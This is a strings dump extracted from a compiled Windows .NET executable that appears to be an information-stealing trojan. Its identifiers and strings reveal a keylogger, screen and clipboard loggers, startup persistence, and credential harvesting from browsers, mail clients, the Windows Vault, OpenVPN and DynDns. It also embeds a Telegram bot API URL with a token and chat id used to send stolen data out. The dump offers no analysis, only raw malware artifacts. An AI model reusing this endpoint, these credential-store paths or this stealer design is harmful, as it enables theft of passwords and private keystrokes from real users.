!This program cannot be run in DOS mode.
`.rsrc
@.reloc
com.apple.Safari
Unable to resolve HTTP prox
1SPS*
KDBM(1
v4.0.30319
#Strings
" B k
& ; ^ q {
!1!T!l!
#!#%#:#F#Q#a#
3s3f3!
>!F!2#
oKUQ910
eXtJvy0
$$method0x6000101-1
$$method0x6000121-1
$$method0x6000141-1
$$method0x6000122-1
$$method0x6000193-1
$$method0x6000107-1
$$method0x6000117-1
$$method0x6000277-1
$$method0x600011c-1
$$method0x600008e-1
$$method0x600007f-1
ziW60W81
HMACSHA1
GISDaGJ1E1
lEHx4F1
n3NkRR3HI1
VT_UI1
6TabI1
YkXqYL1
lX3TM1
IEnumerable`1
ICollection`1
IEnumerator`1
IList`1
CS$<>9__CachedAnonymousMethodDelegate1
LQkKRf1
get_Item1
VTuwC91u1
4TN4Yw1
safbdLrvx1
$$method0x6000101-2
$$method0x6000117-2
$$method0x6000277-2
HMACSHA512
Advapi32
kernel32
Microsoft.Win32
user32
ToUInt32
ReadInt32
ToInt32
g0va642
dyh4A2
2eCcbVxRC2
9ch5dE2
LFSEhtyFI2
VT_UI2
W8YIvluK2
2FW27hKM2
xyWciqfXN2
UGKoRuX9W2
KeyValuePair`2
Dictionary`2
JVplmwda2
get_Item2
fWZUC3
Tuple`3
BINIUS9Ca3
sD27b3
vmEhj3
get_Item3
pZN9DWs3
RQdGDDKsa44
ToUInt64
ReadInt64
ToInt64
HPfJC4
FcPgKuYD4
VT_UI4
5dUJkamPcT4
cLicaO4U4
jNQkkbtNXV4
8XfXKexRb4
c9c9f4
JJaCkv34D45
2heUv6GC5
piwda8D5
wskiw8hMF5
YmMlQ5
WVSyi6ibWV5
ILsTVlm5
IS_TEXT_UNICODE_ASCII16
IS_TEXT_UNICODE_REVERSE_ASCII16
ToUInt16
ReadInt16
ToInt16
5oIyCw46
HMACSHA256
QG6OzE6
K5v0J6
lD5IQW6
X8O4Yj6
mZTfQm6
ERMnvu6
ennEriJCi07
EgbqLC7
4fHMduG7
VaultGetItem_WIN7
4ucSjX12R7
b1c1Dpa7
nZ4r6b7
dOoweUnFQh7
JOC9QlktPn7
N6uIOwXuZ08
WtzD5AC8
get_UTF8
VT_UI8
VaultGetItem_WIN8
CjXj9UR8
u3Sz0VyX8
ETk8S8LHcZ8
QzrRh8
gAtXRu8
aZ3neNv8
I43Y49
FN4859
rEz8Njj69
zz24sK9
vOogddKdS9
DBbPh9
tbBkSKk9
RyD1Bn9
zkjAJlp9
rjLB6HbMCv9
<Module>
PnPGcGVM34A
KXKdMA
JjwYPA
XgRV9bA
I2REq26yA
sjPvLCBXzA
z8cncsXtzA
J8Fc3eM3B
BCRYPT_KEY_DATA_BLOB
VT_BLOB
p0xl3nw4VB
xzoYYB
TMCIyVifB
vjSFrgB
4ZrAqgOsB
m966xB
LY1XTeJcxB
JUJaKIww2C
CSoh8f3C
OnedNJ9C
2WDhubuAAC
BCRYPT_KEY_DATA_BLOB_MAGIC
xfWYpkC
7UqqRlC
D3DGcc2D
zvuDZ7D
LLKHF_EXTENDED
LLKHF_INJECTED
VT_CLSID
get_ID
set_ID
FileHandleID
fileHandleID
lpdwProcessID
processID
get_FormatID
set_FormatID
aeBNSZUibOD
eD55wfbOYD
MS01iD
gpQmjtD
0VqtVOF7E
DUPLICATE_CLOSE_SOURCE
BCRYPT_CHAINING_MODE
ybsgavYLDEE
VT_STORAGE
INVALID_HANDLE
VT_FILETIME
IS_TEXT_UNICODE_SIGNATURE
IS_TEXT_UNICODE_REVERSE_SIGNATURE
VT_DATE
IS_TEXT_UNICODE_DBCS_LEADBYTE
KAudgHbj8fE
SJ8uEmE
x7a5pE
Z24iZtu5F
UlwxSOK9Z7F
E0I5FAF
ovVE2KoEF
xgiHvUxIF
QvagZmntVF
3qbmAzYF
NhhjkZF
arvlbF
QlW5HhIj6G
BCRYPT_AUTH_MODE_CHAIN_CALLS_FLAG
8ZCCOpCG
C20cqKG
wI6JBLG
ZFRdvz8BVG
rRQ7kG
woyhVd8msxG
mu9w0H
STATUS_AUTH_TAG_MISMATCH
STATUS_INFO_LENGTH_MISMATCH
IS_TEXT_UNICODE_ODD_LENGTH
BCRYPT_AUTH_TAG_LENGTH
BCRYPT_OBJECT_LENGTH
1Sg6dbF5SdH
ZTLkoAScdH
XkvZT37JJuH
y70USPhOTwH
OXVz3W6uc3I
IXQDz7T6I
B64qAI
Kljgt5FI
UyiHQ6rq9HI
get_ASCII
LhW4dKI
k6aysQbsRI
9xLRCPXWXI
ys4EYvfwhZI
rLvdfJoI
KpnWpqnpI
fdmsxI
hgFhKCehF3J
btzdg5oDc5J
tpCL0a9FJ
Dx93NiFJ
1sNpWGQwFJ
ulbY114yXJ
p2FBh3Ekr0K
zNhwLbKnG3K
qYBd3jo5K
jVZjYhOQr7K
w1e9C6z7K
u7td1Fn8K
yLuHTFWLaAK
IS_TEXT_UNICODE_UNICODE_MASK
IS_TEXT_UNICODE_NOT_UNICODE_MASK
IS_TEXT_UNICODE_REVERSE_MASK
IS_TEXT_UNICODE_NOT_ASCII_MASK
gE1PwmPWK
2EHlhK
uqk0hLvmzwK
DfvTDkYI4L
VT_DECIMAL
hARrg3mYBL
VT_NULL
WH_KEYBOARD_LL
VT_BOOL
ZM85Lg9SL
MRYxTp4hgL
l2nZpL
11DuwtL
YUWK0M
ZZuAeCMaU3M
VT_VERSIONED_STREAM
VT_STREAM
BCRYPT_CHAIN_MODE_GCM
XXL9m8hGM
BCRYPT_AES_ALGORITHM
7SPzJNIM
L6Mbp2wIM
mKD1ZvaM
VQsPWDjCpcM
GrBU9eajM
cX6sISqM
2ygcJwtM
FdcSEDNEuM
MJ1aX0GquM
fhqvwM
BCRYPT_INIT_AUTH_MODE_INFO_VERSION
HC_ACTION
NJEyyLggpPN
cRdIoTN
LLKHF_ALTDOWN
WM_SYSKEYDOWN
WM_KEYDOWN
RJgpJlN
tFz3rM6mN
O5ocsN
ZBw6c56vN
R1kxyN
jOJAlpyo1O
jXk0oc3O
0MK1Pshy6O
Hi54hvaAx7O
XOycEO
hHRonGO
System.IO
emllpI0KO
uRFungO
keB2uXiO
FpCFc1Cee3P
BCRYPT_PAD_OAEP
Rus2G4yMeMP
B0MLNIMlSP
WM_SYSKEYUP
WM_KEYUP
LLKHF_UP
hSS9jP
tTnC3wn5Q
NDCIost5Q
Kulz9Q
FvHsUQ
ZkkyczLmaQ
egCW8VDZekQ
sltAwWJErQ
g56kpZquQ
MS_PRIMITIVE_PROVIDER
bjPMybk7JR
XJU3dJR
VT_ERROR
VT_VECTOR
iqA5eQXaQR
VT_BSTR
VT_LPSTR
VT_LPWSTR
XaVX6lR
dJWP0S
2kf97S
IS_TEXT_UNICODE_STATISTICS
IS_TEXT_UNICODE_REVERSE_STATISTICS
IS_TEXT_UNICODE_NULL_BYTES
mGdxuJpOGS
IS_TEXT_UNICODE_CONTROLS
IS_TEXT_UNICODE_REVERSE_CONTROLS
vW4I6aD02NS
OeY3GLNS
lkknWtB8PS
IS_TEXT_UNICODE_ILLEGAL_CHARS
DUPLICATE_SAME_ACCESS
ERROR_SUCCESS
STATUS_SUCCESS
BCRYPT_PAD_PSS
9mv24YS
HJtgvibS
m99syWDdS
c5eQz9T
QdpbByKZECT
FEus4Tb8aET
tcslQHT
VT_UINT
VT_INT
AVivhsbpRT
HtlvYb5QraT
NcsljU9icT
xjR4gT
ijxDxTjT
1CCTMhEQvT
EtUN8U
RPpwwICNJU
2OyCv19aU
67s95V
SpU4OqBAV
bp2jV1fAV
XRgnmF4LcCV
get_IV
set_IV
MLtvHSfV
C1ifmV
wnvTnpV
ddQsqlkZj0W
0okK9JW
STATUS_BUFFER_OVERFLOW
rTAqOW
8XDHSLnVW
smzHXW
XK2LYW
EAqUOYW
zeeEYjYW
py9Ny9FFzW
GELkeHn2X
Qyq08X
UfdtxcAX
YlAaCpf1EX
6WUfPI5MX
wVRueVX
QySSPoaX
8DI6D8bX
nswxiYzueX
nDm42Y
1ogezpN4Y
VT_ARRAY
uAXEaZvBXDY
my2f89bQY
VT_EMPTY
PYXI1nY
WcqIkuuY
LsoeC2WfzY
x6ZaU2Bx20Z
U4gVf4Z
nzkkfAAZ
zbyVOoIZ
47FlLZ
moKWKxXFmSZ
ULZi1XZ
Ua5ybYZ
k3WWCQUERbZ
nfylBqIjZ
WnMMSjZ
Qa9yExfAGlZ
JJ0QneoZ
Wu9HqCXepZ
plBTbUy92qZ
value__
TrMxTTE7a
ZlEF9a
cwS1hFa
PPqxo3m5Ha
ziqqw3Qa
wa7paUa
V9C5ika4aa
0TlsoaWfa
sdbdvka
ydBi2WYyka
Yb8g8nBpa
get_Data
set_Data
cbData
ProtectedData
cbAuthData
pbAuthData
PropertyData
SetQuota
0RQuF3oarva
fd3467ba-d134-419d-bdde-5ba13b61687b
PcLBMb
z9KN5AoMONb
PublicIpAddressGrab
Unnqcjfxcb
Urszfb
mscorlib
7r9m0nb
EWPI7382nb
XoRK9c
dOUJDFc
Nw8AHc
i8B6ipHc
228Ozbc
Z8KqG9ETgc
System.Collections.Generic
Microsoft.VisualBasic
FzUw9GeKnc
WndProc
HookProc
FromFileTimeUtc
BnNsNHr3ywc
HdPieNRIJ3d
5kvLnDd
get_Id
SchemaId
schemaId
pszAlgId
HookId
GetWindowThreadProcessId
processId
ChatId
SchemaElementId
Z78MRd
3qOvRd
PageExecuteRead
OpenRead
FileMapRead
VirtualMemoryRead
CreateThread
lpcbNeeded
DomainExtended
SHA1Managed
RijndaelManaged
add_Changed
remove_Changed
get_LastModified
set_LastModified
_lastModified
Interlocked
set_Enabled
get_IsEnabled
set_IsEnabled
_enabled
Undefined
lpOverlapped
samDesired
add_Elapsed
get_LastAccessed
set_LastAccessed
_lastAccessed
get_Reserved
reserved
System.Collections.Specialized
TorPid
activeWindowPid
pPackageSid
aqKdYid
row_id
get_IsInvalid
get_Guid
vaultGuid
PcHwid
RMLt1u2kd
<ID>k__BackingField
<FormatID>k__BackingField
<Data>k__BackingField
<LastModified>k__BackingField
<IsEnabled>k__BackingField
<LastAccessed>k__BackingField
<Password>k__BackingField
<password>k__BackingField
<PropertyStorage>k__BackingField
<Name>k__BackingField
<FileName>k__BackingField
<ApplicationName>k__BackingField
<name>k__BackingField
<Username>k__BackingField
<username>k__BackingField
<Type>k__BackingField
<type>k__BackingField
<secure>k__BackingField
<expirationDate>k__BackingField
<sameSite>k__BackingField
<TypedPropertyValue>k__BackingField
<value>k__BackingField
<Size>k__BackingField
<IsRunning>k__BackingField
<Path>k__BackingField
<path>k__BackingField
<hostmask>k__BackingField
<domain>k__BackingField
<Version>k__BackingField
<Application>k__BackingField
<Description>k__BackingField
<user>k__BackingField
<hoster>k__BackingField
<Tasks>k__BackingField
<objects>k__BackingField
<Accounts>k__BackingField
<Keys>k__BackingField
<Lenght>k__BackingField
<JsonResult>k__BackingField
<Host>k__BackingField
<GuidMasterKey>k__BackingField
<httpOnly>k__BackingField
GetField
TrimEnd
ReadToEnd
AppEnd
Append
get_Millisecond
GetUpperBound
GetLowerBound
set_Method
method
Clipboard
get_Password
set_Password
DomainPassword
get_password
set_password
ndrlejxO9e
L195Be
CAgCUiYUjHe
ZG0CnQCQVMe
bs4Kae
Replace
IsNullOrWhiteSpace
DeleteBackspace
QueryDosDevice
hInstance
IdentityReference
Sequence
cbNonce
pbNonce
8IMpce
Resource
vkCode
wScanCode
scanCode
keyCode
set_Mode
FileMode
ShareMode
PaddingMode
CryptoStreamMode
CipherMode
SelectSingleNode
XmlNode
get_Unicode
get_BigEndianUnicode
IsTextUnicode
FromImage
SectionImage
get_PropertyStorage
set_PropertyStorage
SerializedPropertyStorage
SendMessage
AddRange
CompareExchange
CredentialCache
SectionNoCache
EndInvoke
BeginInvoke
GetEnvironmentVariable
SetEnvironmentVariable
IEnumerable
IDisposable
ToDouble
get_Handle
RuntimeFieldHandle
hSourceHandle
SafeHandle
GetModuleHandle
RuntimeTypeHandle
ReleaseHandle
CloseHandle
DuplicateHandle
CreateHandle
GetTypeFromHandle
hSourceProcessHandle
hTargetProcessHandle
lpTargetHandle
bInheritHandle
vaultHandle
activeWindowHandle
handle
Rectangle
ToSingle
CreateFile
hTemplateFile
DeleteFile
WriteFile
MoveFile
MapViewOfFile
UnmapViewOfFile
lastTitle
activeWindowTitle
lphModule
get_MainModule
ProcessModule
get_Name
set_Name
lpDeviceName
get_FileName
set_FileName
GetModuleFileName
lpExistingFileName
lpFileName
GetFileName
lpNewFileName
_fileName
get_ModuleName
lpModuleName
lpBaseName
baseName
lpValueName
StartupRegName
rootPathName
get_OSFullName
get_FullName
OperatingSystemName
get_ApplicationName
set_ApplicationName
StartupInstallationName
lpName
lpAppName
get_UserName
get_ComputerName
ThisComputerName
ProcessorName
get_ProcessName
processName
StartupEnvName
GetProcessesByName
lpKeyName
pszCredentialFriendlyName
StartupDirectoryName
GetDirectoryName
astable_name
item_name
get_name
set_name
Filename
filename
get_Username
set_Username
get_username
set_username
DateTime
GetLastAccessTime
dwTime
AppendLine
get_NewLine
Combine
LocalMachine
Escape
Unescape
DataProtectionScope
get_Type
set_Type
pszBlobType
GetFileType
MimeType
ValueType
LogType
SecurityProtocolType
GetType
set_ContentType
item_type
get_type
set_type
FileShare
Compare
System.Core
get_secure
set_secure
PtrToStructure
get_InvariantCulture
Capture
NameObjectCollectionBase
HttpWebResponse
GetResponse
Dispose
Reverse
get_expirationDate
set_expirationDate
X509Certificate
GenericCertificate
DomainCertificate
Create
KBDLLHookProcDelegate
MulticastDelegate
Terminate
PcState
GetKeyboardState
lpKeyState
GetKeyState
Delete
get_sameSite
set_sameSite
PageReadWrite
PageExecuteReadWrite
nNumberOfBytesToWrite
FileMapWrite
VirtualMemoryWrite
Remote
STAThreadAttribute
CompilerGeneratedAttribute
GuidAttribute
SecuritySafeCriticalAttribute
ExtensionAttribute
AssemblyFileVersionAttribute
FlagsAttribute
CompilationRelaxationsAttribute
ReliabilityContractAttribute
ParamArrayAttribute
RuntimeCompatibilityAttribute
SuppressUnmanagedCodeSecurityAttribute
set_UseShellExecute
FileMapExecute
ReadByte
ToByte
get_Value
HandleValue
TryGetValue
get_TypedPropertyValue
set_TypedPropertyValue
GetPropertyValue
get_value
set_value
K2eowU29Nve
set_KeepAlive
Remove
SectionReserve
ROdxmjd14ze
get_Size
set_Size
dataSize
cbSize
get_StorageSize
lpFileSize
get_NameSize
volumeNameSize
nFileSystemNameSize
SQLDataTypeSize
get_StoreSize
get_ValueSize
get_HashSize
set_BlockSize
chunkSize
get_KeySize
Serialize
Deserialize
Initialize
Finalize
Synchronize
page_size
Resize
jVft2f
SizeOf
get_ItemOf
LastIndexOf
QPzVTf
LRHE0ejbf
cchBuff
EXgQhf
lastInputInf
HqXtW4aOfsf
LVnSCsx0g
pwbuFCg
Dc7h3LFg
ypy6oeIg
e730pkEqRJg
56Qbhb1Yg
r8sLag
ZlDI2VsdUcg
get_Jpeg
Qhjihg
System.Threading
get_Padding
set_Padding
UTF8Encoding
encoding
System.Drawing.Imaging
get_IsRunning
set_IsRunning
CreateFileMapping
FromBase64String
ToBase64String
EscapeDataString
UnescapeDataString
lpReturnedString
GetPrivateProfileString
ToString
GetString
OctetString
BitString
Substring
System.Drawing
get_Msg
impm8khsg
YpVlyg
Y6xh1L8h
PEeA6ECh
XZvmEh
qXnPOlFh
dwMaximumSizeHigh
dwFileOffsetHigh
IcFN6wnh
ComputeHash
get_Path
set_Path
SystemAppdataPath
get_ExecutablePath
AsmFilePath
AppStartupFullPath
GetTempPath
GetFolderPath
lpTargetPath
StartupDirectoryPath
get_path
set_path
get_Width
get_Length
MaximumLength
dwMinLength
SystemInformationLength
ObjectInformationLength
set_MaxJsonLength
ReturnLength
maximumComponentLength
GetWindowTextLength
dwMaxLength
EndsWith
StartsWith
2gu4CXQvh
ID7REvuqK0i
XfaF3i
h4rj3MqRT7i
miOnW6O8i
xRQnEQ5LDi
qzzBPaGDJi
Mg5HQuNi
XrSxYEIbi
fvJDCnOefgi
EGV0ewii
PtrToStringUni
StringToHGlobalUni
TelegramApi
0OWf1j
08eU0NDj
8X5G6cHj
objrij
cy8dUhqj
t5EIKFhRyj
fPR4N12k
4SsFCKLk
U85XAhDMk
1YLJoXC5pNk
35ZeLJQk
eBdIu4bNRRk
AsyncCallback
RemoteCertificateValidationCallback
get_ServerCertificateValidationCallback
set_ServerCertificateValidationCallback
callback
get_CapsLock
TransformFinalBlock
TransformBlock
2eEeJGfk
FLhDSjmk
idHook
_clipboardHook
_keyboardHook
get_hostmask
set_hostmask
cQzPtz5l
BpcrnOCXOl
GBJOQl
AllocHGlobal
FreeHGlobal
Illegal
Marshal
Decimal
System.Security.Principal
set_Interval
ScreenInterval
KeyloggerInterval
Rijndael
cbLabel
pbLabel
System.ComponentModel
EnableTorPanel
Kernel32.dll
kernel32.dll
User32.dll
user32.dll
vaultcli.dll
psapi.dll
ntdll.dll
bcrypt.dll
Zfwm9ml
System.Xml
4YMBYol
set_SecurityProtocol
Control
EUZiC88m
EWuO6t8m
eiehzHm
cXo2tXm
FileStream
get_BaseStream
GetResponseStream
CryptoStream
GetRequestStream
MemoryStream
get_LParam
get_WParam
get_Param
lParam
wParam
WubBLDDqcm
get_Item
set_Item
VaultGetItem
vaultItem
OperatingSystem
SkxMn9gm
HmacAlgorithm
SymmetricAlgorithm
phAlgorithm
KeyedHashAlgorithm
algorithm
edDzmm
YIk7om
Random
ICryptoTransform
Maximum
root_num
U64l4UoR7Rn
ToBoolean
IsLittleEndian
p68XScn
CopyFromScreen
get_PrimaryScreen
lpNumberOfBytesWritten
X509Chain
ChangeClipboardChain
get_domain
set_domain
Extension
get_OSVersion
get_Version
set_Version
dwInfoVersion
get_Application
set_Application
get_Location
ObjectDataInformation
SystemRegistryQuotaInformation
SystemBasicInformation
ObjectBasicInformation
QueryLimitedInformation
SystemPerformanceInformation
SystemProcessorPerformanceInformation
SystemLookasideInformation
SystemHandleInformation
ObjectNameInformation
GetVolumeInformation
ObjectTypeInformation
ObjectAllInformation
NtQuerySystemInformation
SystemExceptionInformation
SystemProcessInformation
ObjectInformation
SetInformation
SystemInterruptInformation
SystemTimeOfDayInformation
QueryInformation
VirtualMemoryOperation
pszImplementation
System.Globalization
System.Web.Script.Serialization
System.Reflection
PropertyDataCollection
NameValueCollection
MatchCollection
GroupCollection
KeysCollection
ManagementObjectCollection
KeyCollection
set_Position
CreationDisposition
SearchOption
Win32Exception
CryptographicException
ArgumentOutOfRangeException
ArgumentException
get_Description
set_Description
get_StatusDescription
_description
System.Runtime.ConstrainedExecution
StringComparison
fhqzuQjVtn
add_KeyDown
remove_KeyDown
get_CtrlKeyDown
get_ShiftKeyDown
get_AltKeyDown
Unknown
uZZvCxn
FWgqxkHUJ0o
dhqS5o
LTM73v56o
CompareTo
CopyTo
MiW7jwGbqbo
lastInPutNfo
dwExtraInfo
ImageCodecInfo
FieldInfo
FileInfo
CultureInfo
pPaddingInfo
FileSystemInfo
MemberInfo
ComputerInfo
get_StartInfo
ProcessStartInfo
GetLastInputInfo
DirectoryInfo
vRuceho
Yi80PhH0r2p
add_KeyUp
remove_KeyUp
dwNumberOfBytesToMap
Bitmap
pfvjjDbp
Ki2F0fp
TimeStamp
LocalApp
3NAzyqp
AppAddStartup
HideFileStartup
pUl6wZxp
dBmkK2q
ANfjnwtY4q
SppIEzE6q
7beF2QMq
sucxXXq
WAxovobhq
System.Linq
cMDJWXuq
bI7gQBO3c4r
x36UcJr
o2qu5Mr
8yWj4Nr
OYVSSVr
ToChar
lpChar
DirectorySeparatorChar
j7uuar
kSXDFyUvbr
noVSXwbr
ObjectTypeNumber
volumeSerialNumber
StreamReader
TextReader
BinaryReader
SHA1CryptoServiceProvider
MD5CryptoServiceProvider
RNGCryptoServiceProvider
TripleDESCryptoServiceProvider
BCryptCloseAlgorithmProvider
BCryptOpenAlgorithmProvider
IFormatProvider
StringBuilder
SpecialFolder
sender
Encoder
volumeNameBuffer
fileSystemNameBuffer
buffer
ServicePointManager
Integer
EnableClipboardLogger
EnableScreenLogger
_screenLogger
_keyLogger
EnableKeylogger
ManagementObjectSearcher
ObjectIdentifier
SecurityIdentifier
ElapsedEventHandler
LogTimer
ToUpper
CurrentUser
get_user
set_user
EncoderParameter
Object_Pointer
BitConverter
get_hoster
set_hoster
BinaryFormatter
SetClipboardViewer
ToLower
JavaScriptSerializer
sM2UHxlr
DfNyiQmr
get_Major
get_Minor
GetLastWin32Error
GetLastError
Authenticator
IEnumerator
ManagementObjectEnumerator
GetEnumerator
RandomNumberGenerator
.cctor
Monitor
CreateDecryptor
CreateEncryptor
passwordVaultPtr
ReadIntPtr
xJtxdMb61s
c9TERFs
MSoYvJIs
4yeSWfIs
xWoPB8RYlIs
3YzZZs
jtpxZs
Graphics
System.Diagnostics
get_Bounds
Microsoft.VisualBasic.Devices
System.Runtime.InteropServices
System.Runtime.CompilerServices
GetInstances
get_ChildNodes
Matches
EnableCookies
GetDirectories
master_table_entries
get_Properties
ExpandEnvironmentVariables
GetFiles
EnumProcessModules
NumberStyles
GetSubKeyNames
field_names
ReadAllLines
GetProcesses
System.Security.Cryptography.X509Certificates
FlagsAndAttributes
lpFileMappingAttributes
SecurityAttributes
FileBytes
Rfc2898DeriveBytes
ReadAllBytes
BufferBytes
GetBytes
db_bytes
get_Values
GetLogicalDrives
fileSystemFlags
dwFlags
Bwu1Xjgs
ElapsedEventArgs
J2K3OoT2hs
HIvEwHis
get_Ticks
get_Tasks
set_Tasks
ICredentials
set_Credentials
get_DefaultCredentials
Equals
CreateParams
VaultEnumerateItems
System.Windows.Forms
dcguDTRns
Contains
System.Web.Extensions
System.Text.RegularExpressions
iterations
System.Collections
set_MaximumAutomaticRedirections
StringSplitOptions
RegexOptions
options
65uUnkZos
K7VEVwo0qos
get_Groups
get_Chars
GetImageEncoders
System.Timers
RuntimeHelpers
EncoderParameters
SslPolicyErrors
SystemInformationClass
ObjectInformationClass
ManagementClass
dwDesiredAccess
GrantedAccess
FileAccess
FileMapAllAccess
processAccess
get_Success
CreateProcess
hProcess
OpenProcess
GetCurrentProcess
lpBaseAddress
PublicIpAddress
XyQOfYuss
get_objects
set_objects
VaultEnumerateVaults
pPropertyElements
set_Arguments
get_Accounts
set_Accounts
get_Exists
get_Keys
set_Keys
get_ModifierKeys
4uKJ1t
kqZ9c11UDt
oNJDMkDt
U2hPQt
Concat
AppendFormat
ImageFormat
Subtract
VT_BLOB_Object
VT_STREAMED_Object
VT_STORED_Object
ManagementBaseObject
hFileMappingObject
hObject
ManagementObject
cbKeyObject
pbKeyObject
NtQueryObject
object
Collect
set_AllowAutoRedirect
flProtect
Unprotect
System.Net
x5UmN1qet
offset
nMkqmeT4Yht
get_Height
get_Lenght
set_Lenght
op_Explicit
HostEdit
SectionCommit
WaitForExit
YsoUkt
cbSalt
VaultOpenVault
get_Default
lpDefault
pcbResult
IAsyncResult
CookieResult
phkResult
get_JsonResult
set_JsonResult
result
UnsignedInt
set_UserAgent
PublicUserAgent
System.Management
pResourceElement
XmlElement
pAuthenticatorElement
pIdentityElement
dwIncrement
sql_statement
Environment
XmlDocument
get_Parent
GetParent
get_Current
content
get_Count
get_HandleCount
get_TickCount
vaultItemCount
set_IterationCount
dwPropertiesCount
vaultCount
BCryptDecrypt
BCryptEncrypt
3L0dsVrt
TrimStart
AppStart
Convert
UnsignedShort
HttpWebRequest
XmlNodeList
ToList
MozillaBrowserList
ChromiumBrowserList
get_Host
set_Host
set_Timeout
GetKeyboardLayout
dwLayout
cbInput
pbInput
cbOutput
pbOutput
get_StandardOutput
set_RedirectStandardOutput
MoveNext
System.Text
LastCopiedText
KeylogText
ReadAllText
AppendAllText
get_InnerText
GetText
GetWindowText
Log_text
cbMacContext
pbMacContext
qZb7o599zt
b5PoWd1u
VBj0HZu
aRw7UtH1bu
by1afu
i652me3bju
veIYv1ku
pZBDIc44unu
VM8ZCyu
cyR6sJv
9goJCbKv
Hj7hMn7gv
rN3geb8rv
wa1qIOOzv
INe1wN91w
p8wO7w
tNRfGw
Y7rE6yUw
3fNzzhw
dwMaximumSizeLow
dwFileOffsetLow
get_Now
GetForegroundWindow
NativeWindow
set_CreateNoWindow
4TZ6rfjow
YEW3NKWD11x
P2x0zRpNT7x
8cvjp8x
v6oqkWFB9x
40LRf9x
skZih6uBx
ToUnicodeEx
GetModuleFileNameEx
RegQueryValueEx
GetFileSizeEx
UnhookWindowsHookEx
SetWindowsHookEx
CallNextHookEx
MaximumEx
RegOpenKeyEx
jwQSwGx
CTrJvFOvKx
97uCZFRx
MXNit1Vx
sJ2fkswWx
ucchMax
BufferEndIndex
BlockIndex
BufferStartIndex
Cu1bdix
Pnc62fWpx
7VIozzNtx
6id761jxx
WDqlvt8y
JnYk7MeRnEy
32rwKy
ozH7bCC6IWy
ProtectedArray
ToByteArray
InitializeArray
ToArray
ToCharArray
Consistency
get_Key
set_Key
OpenSubKey
subKey
RegCloseKey
get_GuidMasterKey
set_GuidMasterKey
_guidMasterKey
ContainsKey
wVirtKey
hImportKey
BCryptImportKey
BCryptDestroyKey
RegistryKey
_wsftpkey
73R8Kfzgy
System.Security.Cryptography
cEZHwOVsdky
GetExecutingAssembly
get_httpOnly
set_httpOnly
PageReadonly
Multiply
QKTzXSoy
PageWriteCopy
BlockCopy
FileMapCopy
System.Runtime.Serialization.Formatters.Binary
AmountOfMemory
get_TotalPhysicalMemory
Directory
Registry
get_Capacity
Quality
op_Equality
op_Inequality
System.Security
System.Net.Security
Identity
IsNullOrEmpty
BCryptSetAlgorithmProperty
BCryptGetProperty
BCryptSetProperty
pszProperty
3s89FxRi1z
mXS19z
gi9gAz
U2REmQF3QGz
mfOyPz
6pZ5VYwZz
bb3JrSVuPcz
u6hRImz
kpQQuz
WrapNonExceptionThrows
1.0.0.0
$143c5798-2a6b-4532-82bd-22637074dbee
_CorExeMain
mscoree.dll
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
p p p!p"p#p$p%p&p'p(p)p*p+p,p-p.p/p0p1p2p3p4p5p6p7p8p9p:p;p<p=p>p?p@pApDpEpFpGpHpKpiy
k#n+n9
4 5 6!7"8#9$:%;&<'=(>)?*@+A,B-C0D4E5F6G7H8I9K:N;O=QATDZF[N`PfTxZy^z`{c|g}j
BACAIHJHQPVUWUXUZY_^fehgigjgkglgmgpo
image/jpeg
/log.tmp
text/html
yyyy-MM-dd HH:mm:ss
text/plain
<br>RAM:
IP Address:
<br>OSFullName:
Time:
<br>User Name:
<br>Computer Name:
MM/dd/yyyy HH:mm:ss
<br>CPU:
Recovered!
Time:
User Name:
OSFullName:
https://api.ipify.org
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
https://api.telegram.org/bot6524734704:AAGq3YLDL6NzQcuHVLGgk3AVoRXLAEs79Dc/
5117030493
xlnnWA
xlnnWA.exe
\drivers\etc\hosts
]</b> (
{CTRL}
{KEYDOWN}
control
{KEYLEFT}
{BACK}
{ALT+TAB}
{PageDown}
{Insert}
{KEYUP}
{NumLock}
{ALT+F4}
{HOME}
{ENTER}
{KEYRIGHT}
{CAPSLOCK}
{PageUp}
"
<br><hr>Copied Text: <br>
logins
IE/Edge
2F1A6504-0641-44CF-8BB5-3612D865F2E5
Windows Secure Note
3CCD5499-87A8-4B10-A215-608888DD3B55
Windows Web Password Credential
154E23D0-C644-4E6F-8CE6-5069272F999F
Windows Credential Picker Protector
4BF4C442-9B8A-41A0-B380-DD4A704DDB28
Web Credentials
77BC582B-F0A6-4E15-4E80-61736B6F3B29
Windows Credentials
E69D7838-91B5-4FC9-89D5-230D4D4CC2BC
Windows Domain Certificate Credential
3E0E35BE-1B77-43E7-B873-AED901B6275B
Windows Domain Password Credential
3C886FF3-2669-4AA2-A8FB-3F6759A77548
Windows Extended Credential
00000000-0000-0000-0000-000000000000
SchemaId
pResourceElement
pIdentityElement
pPackageSid
pAuthenticatorElement
UC Browser
UCBrowser\
Login Data
journal
wow_logins
Safari for Windows
\Common Files\Apple\Apple Application Support\plutil.exe
\Apple Computer\Preferences\keychain.plist
<string>
</string>
<data>
</data>
<array>
<dict>
-convert xml1 -s -o "
\fixed_keychain.xml"
\Microsoft\Credentials\
\Microsoft\Protect\
credential
QQ Browser
Profile
Tencent\QQBrowser\User Data
\Default\EncryptedStorage
\EncryptedStorage
entries
category
Password
password_value
IncrediMail
SmtpPassword
PopPassword
Software\IncrediMail\Identities\
\Accounts_New
SmtpServer
EmailAddress
Eudora
Software\Qualcomm\Eudora\CommandLine\
current
Settings
SavePasswordText
ReturnAddress
Falkon Browser
\falkon\profiles\
profiles.ini
startProfile=([A-z0-9\/\.\"]+)
\browsedata.db
autofill
ClawsMail
\Claws-mail
\clawsrc
passkey0
master_passphrase_salt=(.+)
master_passphrase_pbkdf2_rounds=(.+)
\accountrc
smtp_server
address
account
\passwordstorerc
{(.*),(.*)}(.*)
Flock Browser
APPDATA
\Flock\Browser\
signons3.txt
DynDns
username=
password=
https://account.dyn.com/
ALLUSERSPROFILE
Dyn\Updater\config.dyndns
t6KzXhCh
Dyn\Updater\daemon.cfg
global
accounts
account.
username
password
Psi/Psi+
\accounts.xml
\Psi+\profiles
\Psi\profiles
OpenVPN
Software\OpenVPN-GUI\configs
Software\OpenVPN-GUI\configs\
auth-data
